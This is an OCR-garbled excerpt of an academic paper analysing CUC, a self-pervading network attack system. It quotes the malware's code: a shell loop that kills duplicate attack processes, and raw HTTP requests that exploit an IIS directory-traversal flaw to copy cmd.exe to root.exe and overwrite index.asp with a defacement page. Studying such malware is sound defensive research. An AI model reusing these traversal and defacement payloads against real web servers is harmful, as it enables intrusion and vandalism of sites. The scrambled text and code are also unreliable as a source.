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CUC- A Self-pervading Network Attacking System

Rui Suying  Gongdian
(Southeast University, Computer Science Dept. , 210096 Nanjing, PR.China)

[ Abstract] The behavior pattern and the architecture of a sdf-pervading network attacking system -CUC is andyzed in this
paper, and its pervading mechanism is dso studied. Besdes, this pgper provides a complete description of  the
vulnerabilities exploited in this system and compari son between CUC system and Worm which was spasmed in 1988.
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“/hin/nohup /devicud/start.sh >/fdevinull 2>&1 & 7, {FIERGEFHENE, BabihlkFEgE2); Hak
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/bin/ps -efbin/grep uniattack.pl > /dev/cub/tmpl
whiletrue

do

/bin/degp 300

/bin/ps-€fbin/grep uniatack.pl > /dev/cub/tmp2
/oinfawk {print $2} ' /dev/cub/tmpl > /dev/cub/tmp3
process="/bin/awk ‘{ print $2}' /dev/cub/tmp2’
for p in $processdo

/bin/grep $p /dev/cub/tmp3

if [$?=0];then

foin/kill -9 $p

fi

done
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sendraw(" GET/scripts..%00%0af ../winnt/system32/cmd.exe?/c+oopy+H\winnt\\system32\\cmd.exe+root.exe
HTTR/2.0\\n\r\n™);

sendraw(" GET/scripts/root.exe?/c+echo+ <html~>"<body-+bgcol or%63Dbl ack">"<br "> <br">"<br >N <br \>A<br >
<brr>"<tabletwidth%3D 1009 >"\<td">"<p+dign%63D%622center%622">"<font+s ze%3D 7+col or%3Dred">fuck+USA+
Government’\</font">"<tr">N<td">"<p+di gn%3D%22center%622/ > <font+s ze%63D 7+col or%3Dred*>fuck+Poi zonBOx”
<tr">"<td>"<p+alignv3D%22center 622" > <font+s ze%3D4+col or%63Dred">contact: sysadmen\@yahoo.com.cr*</htm
I">>, /$c/index.agp HTTP/L.0\AN\rn");
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